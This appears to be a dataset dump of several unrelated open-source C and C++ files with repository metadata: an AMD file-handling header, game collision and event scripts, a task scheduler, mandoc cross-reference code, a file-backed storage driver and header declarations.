refs/heads/master
| 2023-08-17T08:14:14.769537
| 2023-08-07T13:48:54
| 2023-08-07T13:48:54
| 80,030,341
| 113
| 38
|
NOASSERTION
| 2023-05-28T11:18:47
| 2017-01-25T16:02:24
|
C
|
UTF-8
|
C
| false
| false
| 1,261
|
h
|
aoclfal.h
|
/*===================================================================
* File Name : aoclfal.h
*
* Description : Interfaces for platform/os independed file
* handling API's
*
* Copyright (C) 2020, Advanced Micro Devices, Inc
*
*==================================================================*/
#ifndef _AOCL_FAL_H_
#define _AOCL_FAL_H_
/* The possible error values of FAL */
#define AOCL_FAL_SUCCESS 0
#define AOCL_FAL_CLOSE_ERROR -1
#define AOCL_FAL_READ_ERROR -2
#define AOCL_FAL_WRITE_ERROR -3
#define AOCL_FAL_EOF_ERROR -6
#define AOCL_FAL_FERROR -7
/* The type definition for FILE */
#define AOCL_FAL_FILE FILE
/* The FAL function declaration */
int32 AOCL_FAL_Close(
AOCL_FAL_FILE *fpFilePointer);
int32 AOCL_FAL_Error(
AOCL_FAL_FILE *fpFilePointer);
AOCL_FAL_FILE *AOCL_FAL_Open(
const int8 *pchFileName,
const int8 *pchMode);
int32 AOCL_FAL_Read(
void *pvBuffer,
int32 i32Size,
int32 i32Count,
AOCL_FAL_FILE *fpFilePointer);
int32 AOCL_FAL_Write(
const void *pvBuffer,
int32 i32Size,
int32 iCount,
AOCL_FAL_FILE *fpFilePointer);
#endif /* _AOCL_FAL_H_ */
/* --------------- End of aoclfal.h ----------------- */
|
340b5dc3f3ef2bf0da3ca5d4f2ce7a37fcceff97
|
ecce427678ecff2a93a47f3b1b664202c7d27617
|
/levels/bitdw/seesaw_platform/collision.inc.c
|
97a39458482d0c595530e70e7945a3027a98ca6d
|
[] |
no_license
|
sm64pc/sm64ex
|
ecf37f31b3f7426c4874254660d856030d789714
|
54cd27ccee45a2403b45f07a00d6043c51149969
|
refs/heads/nightly
| 2023-08-11T12:14:34.424168
| 2023-07-01T11:45:50
| 2023-07-01T11:45:50
| 262,091,731
| 795
| 238
| null | 2023-07-01T11:45:51
| 2020-05-07T15:43:27
|
C
|
UTF-8
|
C
| false
| false
| 710
|
c
|
collision.inc.c
|
// 0x0700F70C - 0x0700F790
const Collision bitdw_seg7_collision_0700F70C[] = {
COL_INIT(),
COL_VERTEX_INIT(0x8),
COL_VERTEX(307, 0, -767),
COL_VERTEX(307, 102, -818),
COL_VERTEX(307, 102, 819),
COL_VERTEX(-306, 0, -767),
COL_VERTEX(-306, 102, -818),
COL_VERTEX(-306, 102, 819),
COL_VERTEX(-306, 0, 768),
COL_VERTEX(307, 0, 768),
COL_TRI_INIT(SURFACE_DEFAULT, 12),
COL_TRI(0, 1, 2),
COL_TRI(3, 1, 0),
COL_TRI(3, 4, 1),
COL_TRI(1, 4, 5),
COL_TRI(1, 5, 2),
COL_TRI(6, 4, 3),
COL_TRI(6, 5, 4),
COL_TRI(7, 2, 5),
COL_TRI(7, 5, 6),
COL_TRI(0, 2, 7),
COL_TRI(3, 0, 7),
COL_TRI(3, 7, 6),
COL_TRI_STOP(),
COL_END(),
};
|
06e0cf5265d1eb1738359f80d70adfbd6ae2e087
|
a035f5c62e5e80d53b05ebc7d2c2d74cc36aeb1e
|
/kmymoney/mymoney/mymoneyreconciliationreport.h
|
eb2f3cc7820ba38a725815b52172f21589431d75
|
[] |
no_license
|
KDE/kmymoney
|
21446a43780634df84f485fa7dd3346b93c95025
|
21bdb88b4135b89f51f0435e995bd61f93a8e85b
|
refs/heads/master
| 2023-08-30T12:21:44.954663
| 2023-08-30T01:46:42
| 2023-08-30T01:46:42
| 42,720,259
| 111
| 51
| null | 2023-06-15T05:20:53
| 2015-09-18T12:19:55
|
C++
|
UTF-8
|
C
| false
| false
| 856
|
h
|
mymoneyreconciliationreport.h
|
/*
SPDX-FileCopyrightText: 2021 Thomas Baumgart <tbaumgart@kde.org>
SPDX-License-Identifier: GPL-2.0-or-later
*/
#ifndef MYMONEYRECONCILIATIONREPORT_H
#define MYMONEYRECONCILIATIONREPORT_H
// ----------------------------------------------------------------------------
// QT Includes
#include <QDate>
#include <QString>
#include <QStringList>
// ----------------------------------------------------------------------------
// KDE Includes
// ----------------------------------------------------------------------------
// Project Includes
#include "mymoneymoney.h"
struct MyMoneyReconciliationReport {
QString accountId;
QStringList journalEntryIds;
QDate statementDate;
MyMoneyMoney startingBalance;
MyMoneyMoney endingBalance;
};
Q_DECLARE_METATYPE(MyMoneyReconciliationReport)
#endif // MYMONEYRECONCILIATIONREPORT_H
|
7d8c7388aae93b8fa4de1db61d6b1a8c5a36ebfe
|
182bbadb0ee7f59f1abd154d06484e555a30c6d8
|
/third_party/cairo/src/cairo-os2.h
|
d23f2dec42adb4f131313485e2d576adea7ca78b
|
[
"Apache-2.0"
] |
permissive
|
epam/Indigo
|
08559861adf474122366b6e2e499ed3aa56272d1
|
8e473e69f393c3a57ff75b7728999c5fb4cbf1a3
|
refs/heads/master
| 2023-09-02T10:14:46.843829
| 2023-08-25T08:39:24
| 2023-08-25T08:39:24
| 37,536,320
| 265
| 106
|
Apache-2.0
| 2023-09-14T17:34:00
| 2015-06-16T14:45:56
|
C++
|
UTF-8
|
C
| false
| false
| 3,627
|
h
|
cairo-os2.h
|
/* vim: set sw=4 sts=4 et cin: */
/* cairo - a vector graphics library with display and print output
*
* Copyright (c) 2005-2006 netlabs.org
*
* This library is free software; you can redistribute it and/or
* modify it either under the terms of the GNU Lesser General Public
* License version 2.1 as published by the Free Software Foundation
* (the "LGPL") or, at your option, under the terms of the Mozilla
* Public License Version 1.1 (the "MPL"). If you do not alter this
* notice, a recipient may use your version of this file under either
* the MPL or the LGPL.
*
* You should have received a copy of the LGPL along with this library
* in the file COPYING-LGPL-2.1; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA
* You should have received a copy of the MPL along with this library
* in the file COPYING-MPL-1.1
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY
* OF ANY KIND, either express or implied. See the LGPL or the MPL for
* the specific language governing rights and limitations.
*
* The Original Code is the cairo graphics library.
*
* The Initial Developer of the Original Code is
* Doodle <doodle@scenergy.dfmk.hu>
*
* Contributor(s):
* Peter Weilbacher <mozilla@Weilbacher.org>
* Rich Walsh <dragtext@e-vertise.com>
*/
#ifndef _CAIRO_OS2_H_
#define _CAIRO_OS2_H_
#define INCL_DOS
#define INCL_DOSSEMAPHORES
#define INCL_DOSERRORS
#define INCL_WIN
#define INCL_GPI
#include "cairo.h"
#include <os2.h>
CAIRO_BEGIN_DECLS
/* The OS/2 Specific Cairo API */
cairo_public void
cairo_os2_init (void);
cairo_public void
cairo_os2_fini (void);
#if CAIRO_HAS_OS2_SURFACE
cairo_public cairo_surface_t *
cairo_os2_surface_create (HPS hps_client_window,
int width,
int height);
cairo_public cairo_surface_t *
cairo_os2_surface_create_for_window (HWND hwnd_client_window,
int width,
int height);
cairo_public void
cairo_os2_surface_set_hwnd (cairo_surface_t *surface,
HWND hwnd_client_window);
cairo_public int
cairo_os2_surface_set_size (cairo_surface_t *surface,
int new_width,
int new_height,
int timeout);
cairo_public void
cairo_os2_surface_refresh_window (cairo_surface_t *surface,
HPS hps_begin_paint,
PRECTL prcl_begin_paint_rect);
cairo_public void
cairo_os2_surface_set_manual_window_refresh (cairo_surface_t *surface,
cairo_bool_t manual_refresh);
cairo_public cairo_bool_t
cairo_os2_surface_get_manual_window_refresh (cairo_surface_t *surface);
cairo_public cairo_status_t
cairo_os2_surface_get_hps (cairo_surface_t *surface,
HPS *hps);
cairo_public cairo_status_t
cairo_os2_surface_set_hps (cairo_surface_t *surface,
HPS hps);
#else /* CAIRO_HAS_OS2_SURFACE */
# error Cairo was not compiled with support for the OS/2 backend
#endif /* CAIRO_HAS_OS2_SURFACE */
CAIRO_END_DECLS
#endif /* _CAIRO_OS2_H_ */
|
c77dfb7a8bddcf7e751becc3c91b0a3454cc4638
|
e73547787354afd9b717ea57fe8dd0695d161821
|
/src/world/area_kpa/kpa_04/kpa_04_2_main.c
|
4383447a763b0575be16cb9308bd48b1a61b2efb
|
[] |
no_license
|
pmret/papermario
|
8b514b19653cef8d6145e47499b3636b8c474a37
|
9774b26d93f1045dd2a67e502b6efc9599fb6c31
|
refs/heads/main
| 2023-08-31T07:09:48.951514
| 2023-08-21T18:07:08
| 2023-08-21T18:07:08
| 287,151,133
| 904
| 139
| null | 2023-09-14T02:44:23
| 2020-08-13T01:22:57
|
C
|
UTF-8
|
C
| false
| false
| 928
|
c
|
kpa_04_2_main.c
|
#include "kpa_04.h"
EvtScript N(EVS_ExitWalk_kpa_03_1) = EVT_EXIT_WALK(60, kpa_04_ENTRY_0, "kpa_03", kpa_03_ENTRY_1);
EvtScript N(EVS_ExitWalk_kpa_81_3) = EVT_EXIT_WALK(60, kpa_04_ENTRY_1, "kpa_81", kpa_81_ENTRY_3);
EvtScript N(EVS_BindExitTriggers) = {
EVT_BIND_TRIGGER(EVT_PTR(N(EVS_ExitWalk_kpa_03_1)), TRIGGER_FLOOR_ABOVE, COLLIDER_deiliw, 1, 0)
EVT_BIND_TRIGGER(EVT_PTR(N(EVS_ExitWalk_kpa_81_3)), TRIGGER_FLOOR_ABOVE, COLLIDER_deilis, 1, 0)
EVT_RETURN
EVT_END
};
EvtScript N(EVS_EnterMap) = {
EVT_SET(LVar0, EVT_PTR(N(EVS_BindExitTriggers)))
EVT_EXEC(EnterWalk)
EVT_RETURN
EVT_END
};
EvtScript N(EVS_Main) = {
EVT_SET(GB_WorldLocation, LOCATION_BOWSERS_CASTLE)
EVT_CALL(SetSpriteShading, SHADING_NONE)
EVT_SETUP_CAMERA_ALT_NO_LEAD()
EVT_EXEC(N(EVS_SetupStatues))
EVT_EXEC(N(EVS_EnterMap))
EVT_WAIT(1)
EVT_EXEC(N(EVS_SetupMusic))
EVT_RETURN
EVT_END
};
|
1418ae6e17d9971f81d72b90a967b2a047c126b9
|
eaf22e8a8037df22471d111c421fa0a923f78ee6
|
/lib/task_scheduler.c
|
beb16ca0e533a5f2b5a3d54d477ebb5cc2e80556
|
[
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] |
permissive
|
amzn/hawktracer
|
59eb51059231bdebd7bca5afc3626e55deed437b
|
3c22b3908912e2ec727fd2ddc5dbfe7464e6b4a5
|
refs/heads/master
| 2023-07-10T18:53:43.973288
| 2023-02-24T15:21:39
| 2023-02-24T15:36:23
| 128,848,910
| 131
| 41
|
MIT
| 2023-06-23T19:50:40
| 2018-04-10T00:17:00
|
C++
|
UTF-8
|
C
| false
| false
| 4,767
|
c
|
task_scheduler.c
|
#include "hawktracer/task_scheduler.h"
#include "hawktracer/alloc.h"
#include "hawktracer/monotonic_clock.h"
#include "internal/bag.h"
#include "internal/error.h"
#include <string.h>
#define DEFAULT_INIT_TASK_COUNT_ 16
struct _HT_TaskScheduler
{
HT_BagVoidPtr tasks;
HT_TaskId next_task_id;
};
typedef struct
{
HT_TaskCallback callback;
void* user_data;
HT_DurationNs period;
HT_TimestampNs next_action_ts;
HT_TaskId id;
HT_TaskSchedulingMode mode;
} HT_Task;
#define HT_TASK(task) ((HT_Task*)task)
static HT_DurationNs
_greatest_common_divisor(HT_DurationNs a, HT_DurationNs b)
{
while (b)
{
HT_DurationNs t = b;
b =a % b;
a = t;
}
return a;
}
HT_TaskScheduler*
ht_task_scheduler_create(HT_ErrorCode* out_err)
{
HT_TaskScheduler* task_scheduler = HT_CREATE_TYPE(HT_TaskScheduler);
HT_ErrorCode error_code;
if (task_scheduler == NULL)
{
error_code = HT_ERR_OUT_OF_MEMORY;
goto done;
}
error_code = ht_bag_void_ptr_init(&task_scheduler->tasks, DEFAULT_INIT_TASK_COUNT_);
if (error_code != HT_ERR_OK)
{
ht_free(task_scheduler);
task_scheduler = NULL;
goto done;
}
task_scheduler->next_task_id = 0;
done:
HT_SET_ERROR(out_err, error_code);
return task_scheduler;
}
void
ht_task_scheduler_destroy(HT_TaskScheduler* task_scheduler)
{
size_t i = 0;
for (i = 0; i < task_scheduler->tasks.size; i++)
{
ht_free(task_scheduler->tasks.data[i]);
}
ht_bag_void_ptr_deinit(&task_scheduler->tasks);
ht_free(task_scheduler);
}
HT_TaskId
ht_task_scheduler_schedule_task(HT_TaskScheduler* task_scheduler,
HT_TaskSchedulingMode mode,
HT_DurationNs period,
HT_TaskCallback callback,
void* user_data)
{
HT_Task* task;
if (task_scheduler->next_task_id == HT_INT32_MAX || callback == NULL)
{
return HT_TASK_SCHEDULER_INVALID_TASK_ID;
}
task = HT_CREATE_TYPE(HT_Task);
if (task == NULL)
{
return HT_TASK_SCHEDULER_INVALID_TASK_ID;
}
task->callback = callback;
task->user_data = user_data;
task->period = period;
task->next_action_ts = ht_monotonic_clock_get_timestamp() + period;
task->id = task_scheduler->next_task_id++;
task->mode = mode;
if (ht_bag_void_ptr_add(&task_scheduler->tasks, task) != HT_ERR_OK)
{
return HT_TASK_SCHEDULER_INVALID_TASK_ID;
}
return task->id;
}
void
ht_task_scheduler_tick(HT_TaskScheduler* task_scheduler)
{
size_t i;
HT_Boolean result;
for (i = 0; i < task_scheduler->tasks.size; i++)
{
HT_Task* task = HT_TASK(task_scheduler->tasks.data[i]);
HT_TimestampNs now_ts = ht_monotonic_clock_get_timestamp();
if (task->next_action_ts > now_ts)
{
continue;
}
result = task->callback(task->user_data);
if (result == HT_FALSE)
{
ht_bag_void_ptr_remove_nth(&task_scheduler->tasks, i);
ht_free(task);
i--;
}
else
{
task->next_action_ts = task->mode == HT_TASK_SCHEDULING_IGNORE_DELAYS ?
task->next_action_ts + task->period :
ht_monotonic_clock_get_timestamp() + task->period;
}
}
}
static void
ht_task_scheduler_remove_task_entry(HT_BagVoidPtr* tasks, HT_Task* task) \
{
size_t i;
for (i = 0; i < tasks->size; i++)
{
if (tasks->data[i] == task)
{
ht_bag_void_ptr_remove_nth(tasks, i);
}
}
}
HT_Boolean
ht_task_scheduler_remove_task(HT_TaskScheduler* task_scheduler, HT_TaskId task_id)
{
size_t i;
if (task_id < 0)
{
return HT_FALSE;
}
for (i = 0; i < task_scheduler->tasks.size; i++)
{
HT_Task* task = HT_TASK(task_scheduler->tasks.data[i]);
if (task->id == task_id)
{
ht_task_scheduler_remove_task_entry(&task_scheduler->tasks, task);
ht_free(task);
return HT_TRUE;
}
}
return HT_FALSE;
}
HT_DurationNs
ht_task_scheduler_get_optimal_tick_period(HT_TaskScheduler* task_scheduler)
{
size_t task_pos;
HT_DurationNs perfect_period = 0;
for (task_pos = 0; task_pos < task_scheduler->tasks.size; task_pos++)
{
HT_DurationNs task_period = HT_TASK(task_scheduler->tasks.data[task_pos])->period;
if (task_period == 0)
{
continue;
}
perfect_period = perfect_period == 0 ? task_period : _greatest_common_divisor(perfect_period, task_period);
}
return perfect_period;
}
|
ad4c4c05e61868548a2525c21e53ec923daef7fa
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/usr.bin/mandoc/mandoc_xr.c
|
a4b2e905323c082a30ba3e38a5f906976af3fa59
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 2,819
|
c
|
mandoc_xr.c
|
/* $OpenBSD: mandoc_xr.c,v 1.3 2017/07/02 21:17:12 schwarze Exp $ */
/*
* Copyright (c) 2017 Ingo Schwarze <schwarze@openbsd.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/types.h>
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "mandoc_aux.h"
#include "mandoc_ohash.h"
#include "mandoc_xr.h"
static struct ohash *xr_hash = NULL;
static struct mandoc_xr *xr_first = NULL;
static struct mandoc_xr *xr_last = NULL;
static void mandoc_xr_clear(void);
static void
mandoc_xr_clear(void)
{
struct mandoc_xr *xr;
unsigned int slot;
if (xr_hash == NULL)
return;
for (xr = ohash_first(xr_hash, &slot); xr != NULL;
xr = ohash_next(xr_hash, &slot))
free(xr);
ohash_delete(xr_hash);
}
void
mandoc_xr_reset(void)
{
if (xr_hash == NULL)
xr_hash = mandoc_malloc(sizeof(*xr_hash));
else
mandoc_xr_clear();
mandoc_ohash_init(xr_hash, 5,
offsetof(struct mandoc_xr, hashkey));
xr_first = xr_last = NULL;
}
int
mandoc_xr_add(const char *sec, const char *name, int line, int pos)
{
struct mandoc_xr *xr, *oxr;
const char *pend;
size_t ssz, nsz, tsz;
unsigned int slot;
int ret;
uint32_t hv;
if (xr_hash == NULL)
return 0;
ssz = strlen(sec) + 1;
nsz = strlen(name) + 1;
tsz = ssz + nsz;
xr = mandoc_malloc(sizeof(*xr) + tsz);
xr->next = NULL;
xr->sec = xr->hashkey;
xr->name = xr->hashkey + ssz;
xr->line = line;
xr->pos = pos;
xr->count = 1;
memcpy(xr->sec, sec, ssz);
memcpy(xr->name, name, nsz);
pend = xr->hashkey + tsz;
hv = ohash_interval(xr->hashkey, &pend);
slot = ohash_lookup_memory(xr_hash, xr->hashkey, tsz, hv);
if ((oxr = ohash_find(xr_hash, slot)) == NULL) {
ohash_insert(xr_hash, slot, xr);
if (xr_first == NULL)
xr_first = xr;
else
xr_last->next = xr;
xr_last = xr;
return 0;
}
oxr->count++;
ret = (oxr->line == -1) ^ (xr->line == -1);
if (xr->line == -1)
oxr->line = -1;
free(xr);
return ret;
}
struct mandoc_xr *
mandoc_xr_get(void)
{
return xr_first;
}
void
mandoc_xr_free(void)
{
mandoc_xr_clear();
free(xr_hash);
xr_hash = NULL;
}
|
368a9dcdd8c51810b498f931193976a248cbee05
|
d169de4c5c6b281984df35536430dcc931a957a9
|
/source/component/mal/driver/file_mal/vsf_file_mal.c
|
7a0c6649a10351af048c45b99449b555f1b0bb14
|
[
"LGPL-2.1-only",
"Apache-2.0"
] |
permissive
|
vsfteam/vsf
|
2ba968ba2ef53b036668019c6c6746149a63c38a
|
522a52ff2ee4ed149b52789a5bd366f80c08c458
|
refs/heads/master
| 2023-08-27T07:32:08.339123
| 2023-08-26T17:46:07
| 2023-08-26T17:46:07
| 181,911,464
| 273
| 83
|
Apache-2.0
| 2023-08-29T03:08:36
| 2019-04-17T14:43:42
|
C
|
UTF-8
|
C
| false
| false
| 6,453
|
c
|
vsf_file_mal.c
|
/*****************************************************************************
* Copyright(C)2009-2022 by VSF Team *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
****************************************************************************/
/*============================ INCLUDES ======================================*/
#include "../../vsf_mal_cfg.h"
#if VSF_USE_MAL == ENABLED && VSF_USE_FS == ENABLED && VSF_MAL_USE_FILE_MAL == ENABLED
#define __VSF_MAL_CLASS_INHERIT__
#define __VSF_FILE_MAL_CLASS_IMPLEMENT
#include "../../vsf_mal.h"
#include "./vsf_file_mal.h"
/*============================ MACROS ========================================*/
#if VSF_FILE_MAL_CFG_DEBUG == ENABLED
# define __vk_file_mal_trace(...) \
vsf_trace_debug("file_mal: " __VA_ARGS__)
#else
# define __vk_file_mal_trace(...)
#endif
/*============================ MACROFIED FUNCTIONS ===========================*/
/*============================ TYPES =========================================*/
/*============================ PROTOTYPES ====================================*/
static uint_fast32_t __vk_file_mal_blksz(vk_mal_t *mal, uint_fast64_t addr, uint_fast32_t size, vsf_mal_op_t op);
dcl_vsf_peda_methods(static, __vk_file_mal_init)
dcl_vsf_peda_methods(static, __vk_file_mal_fini)
dcl_vsf_peda_methods(static, __vk_file_mal_read)
dcl_vsf_peda_methods(static, __vk_file_mal_write)
/*============================ GLOBAL VARIABLES ==============================*/
#if __IS_COMPILER_GCC__
# pragma GCC diagnostic push
# pragma GCC diagnostic ignored "-Wcast-function-type"
#endif
const vk_mal_drv_t vk_file_mal_drv = {
.blksz = __vk_file_mal_blksz,
.init = (vsf_peda_evthandler_t)vsf_peda_func(__vk_file_mal_init),
.fini = (vsf_peda_evthandler_t)vsf_peda_func(__vk_file_mal_fini),
.read = (vsf_peda_evthandler_t)vsf_peda_func(__vk_file_mal_read),
.write = (vsf_peda_evthandler_t)vsf_peda_func(__vk_file_mal_write),
};
#if __IS_COMPILER_GCC__
# pragma GCC diagnostic pop
#endif
/*============================ LOCAL VARIABLES ===============================*/
/*============================ IMPLEMENTATION ================================*/
static uint_fast32_t __vk_file_mal_blksz(vk_mal_t *mal, uint_fast64_t addr, uint_fast32_t size, vsf_mal_op_t op)
{
return ((vk_file_mal_t *)mal)->block_size;
}
#if __IS_COMPILER_GCC__
# pragma GCC diagnostic push
# pragma GCC diagnostic ignored "-Wcast-align"
#elif __IS_COMPILER_LLVM__ || __IS_COMPILER_ARM_COMPILER_6__
# pragma clang diagnostic push
# pragma clang diagnostic ignored "-Wcast-align"
#endif
__vsf_component_peda_ifs_entry(__vk_file_mal_init, vk_mal_init)
{
vsf_peda_begin();
vk_file_mal_t *pthis = (vk_file_mal_t *)&vsf_this;
VSF_MAL_ASSERT((pthis != NULL) && (pthis->file != NULL) && (pthis->block_size > 0));
pthis->size = pthis->file->size - (pthis->file->size % pthis->block_size);
vsf_eda_return(VSF_ERR_NONE);
vsf_peda_end();
}
__vsf_component_peda_ifs_entry(__vk_file_mal_fini, vk_mal_fini)
{
vsf_peda_begin();
vsf_eda_return(VSF_ERR_NONE);
vsf_peda_end();
}
__vsf_component_peda_ifs_entry(__vk_file_mal_read, vk_mal_read)
{
vsf_peda_begin();
enum {
STATE_SET_POS,
STATE_READ,
};
vk_file_mal_t *pthis = (vk_file_mal_t *)&vsf_this;
vsf_err_t err;
switch (evt) {
case VSF_EVT_INIT:
vsf_eda_set_user_value(STATE_SET_POS);
err = vk_file_seek(pthis->file, vsf_local.addr, VSF_FILE_SEEK_SET);
__check_result:
if (err != VSF_ERR_NONE) {
vsf_eda_return(-1);
return;
}
break;
case VSF_EVT_RETURN:
switch (vsf_eda_get_user_value()) {
case STATE_SET_POS:
vsf_eda_set_user_value(STATE_READ);
err = vk_file_read(pthis->file, vsf_local.buff, vsf_local.size);
goto __check_result;
case STATE_READ:
vsf_eda_return(vsf_eda_get_return_value());
break;
}
break;
}
vsf_peda_end();
}
__vsf_component_peda_ifs_entry(__vk_file_mal_write, vk_mal_write)
{
vsf_peda_begin();
enum {
STATE_SET_POS,
STATE_WRITE,
};
vk_file_mal_t *pthis = (vk_file_mal_t *)&vsf_this;
vsf_err_t err;
switch (evt) {
case VSF_EVT_INIT:
vsf_eda_set_user_value(STATE_SET_POS);
err = vk_file_seek(pthis->file, vsf_local.addr, VSF_FILE_SEEK_SET);
__check_result:
if (err != VSF_ERR_NONE) {
vsf_eda_return(-1);
return;
}
break;
case VSF_EVT_RETURN:
switch (vsf_eda_get_user_value()) {
case STATE_SET_POS:
vsf_eda_set_user_value(STATE_WRITE);
err = vk_file_write(pthis->file, vsf_local.buff, vsf_local.size);
goto __check_result;
case STATE_WRITE:
vsf_eda_return(vsf_eda_get_return_value());
break;
}
break;
}
vsf_peda_end();
}
#if __IS_COMPILER_GCC__
# pragma GCC diagnostic pop
#elif __IS_COMPILER_LLVM__ || __IS_COMPILER_ARM_COMPILER_6__
# pragma clang diagnostic pop
#endif
#endif
|
aca5d1a5843acd4e5a44a3cb0f36d236be542f85
|
ffdc77394c5b5532b243cf3c33bd584cbdc65cb7
|
/mindspore/ccsrc/transform/graph_ir/op_declare/rnn_declare.h
|
01af41e107984dae1f356bb213d078b239e3c7fc
|
[
"Apache-2.0",
"LicenseRef-scancode-proprietary-license",
"MPL-1.0",
"OpenSSL",
"LGPL-3.0-only",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-3-Clause-Open-MPI",
"MIT",
"MPL-2.0-no-copyleft-exception",
"NTP",
"BSD-3-Clause",
"GPL-1.0-or-later",
"0BSD",
"MPL-2.0",
"LicenseRef-scancode-free-unknown",
"AGPL-3.0-only",
"Libpng",
"MPL-1.1",
"IJG",
"GPL-2.0-only",
"BSL-1.0",
"Zlib",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-python-cwi",
"BSD-2-Clause",
"LicenseRef-scancode-gary-s-brown",
"LGPL-2.1-only",
"LicenseRef-scancode-other-permissive",
"Python-2.0",
"LicenseRef-scancode-mit-nagy",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense"
] |
permissive
|
mindspore-ai/mindspore
|
ca7d5bb51a3451c2705ff2e583a740589d80393b
|
54acb15d435533c815ee1bd9f6dc0b56b4d4cf83
|
refs/heads/master
| 2023-07-29T09:17:11.051569
| 2023-07-17T13:14:15
| 2023-07-17T13:14:15
| 239,714,835
| 4,178
| 768
|
Apache-2.0
| 2023-07-26T22:31:11
| 2020-02-11T08:43:48
|
C++
|
UTF-8
|
C
| false
| false
| 1,795
|
h
|
rnn_declare.h
|
/**
* Copyright 2019-2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef MINDSPORE_CCSRC_TRANSFORM_GRAPH_IR_OP_DECLARE_RNN_DECLARE_H_
#define MINDSPORE_CCSRC_TRANSFORM_GRAPH_IR_OP_DECLARE_RNN_DECLARE_H_
#include "inc/ops/rnn.h"
#include "transform/graph_ir/op_declare/op_declare_macro.h"
#include "utils/hash_map.h"
DECLARE_OP_ADAPTER(BasicLSTMCell)
DECLARE_OP_USE_OUTPUT(BasicLSTMCell)
DECLARE_OP_ADAPTER(BasicLSTMCellInputGrad)
DECLARE_OP_USE_OUTPUT(BasicLSTMCellInputGrad)
DECLARE_OP_ADAPTER(BasicLSTMCellWeightGrad)
DECLARE_OP_USE_OUTPUT(BasicLSTMCellWeightGrad)
DECLARE_OP_ADAPTER(BasicLSTMCellCStateGrad)
DECLARE_OP_USE_OUTPUT(BasicLSTMCellCStateGrad)
DECLARE_OP_ADAPTER(LSTMInputGrad)
DECLARE_OP_USE_OUTPUT(LSTMInputGrad)
DECLARE_OP_ADAPTER(DynamicRNN)
DECLARE_OP_USE_OUTPUT(DynamicRNN)
DECLARE_OP_ADAPTER(DynamicRNNGrad)
DECLARE_OP_USE_OUTPUT(DynamicRNNGrad)
DECLARE_OP_ADAPTER(DynamicGRUV2)
DECLARE_OP_USE_OUTPUT(DynamicGRUV2)
DECLARE_OP_ADAPTER(DynamicGRUV2Grad)
DECLARE_OP_USE_OUTPUT(DynamicGRUV2Grad)
DECLARE_OP_ADAPTER(CommonLSTM)
DECLARE_OP_USE_OUTPUT(CommonLSTM)
DECLARE_OP_ADAPTER(GRUV2HiddenGradCell)
DECLARE_OP_USE_OUTPUT(GRUV2HiddenGradCell)
#endif // MINDSPORE_CCSRC_TRANSFORM_GRAPH_IR_OP_DECLARE_RNN_DECLARE_H_
|
159161f6c1823d1c98344355e99a3799bed8b821
|
caa3fd7b505b9f374d67716d838fc9657135f06d
|
/libgo/runtime/arch.h
|
0546a5da160beea2092674550e54dd3e7d23385a
|
[
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-google-patent-license-golang",
"BSD-3-Clause"
] |
permissive
|
golang/gofrontend
|
674700d5e4682daf09e3f27be4e0f2844c0e1dd2
|
d04b024021bb7dbaa434a6d902bd12beb08e315f
|
refs/heads/master
| 2023-08-18T00:26:59.887760
| 2023-07-20T18:21:13
| 2023-07-20T19:28:09
| 28,939,900
| 874
| 155
|
BSD-3-Clause
| 2023-07-26T00:00:24
| 2015-01-07T23:54:58
|
Go
|
UTF-8
|
C
| false
| false
| 267
|
h
|
arch.h
|
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// FIXME: Ideally CacheLineSize would be dependent on the host architecture.
enum {
CacheLineSize = 64
};
|
a41e9efc5eb10692b17a041ed1a07b8166007788
|
321d11eaee885ceb3a74db0a062f9bbdf282148c
|
/include/openssl/cast.h
|
0bf217beab23ec07880455f8131a15182a14e543
|
[
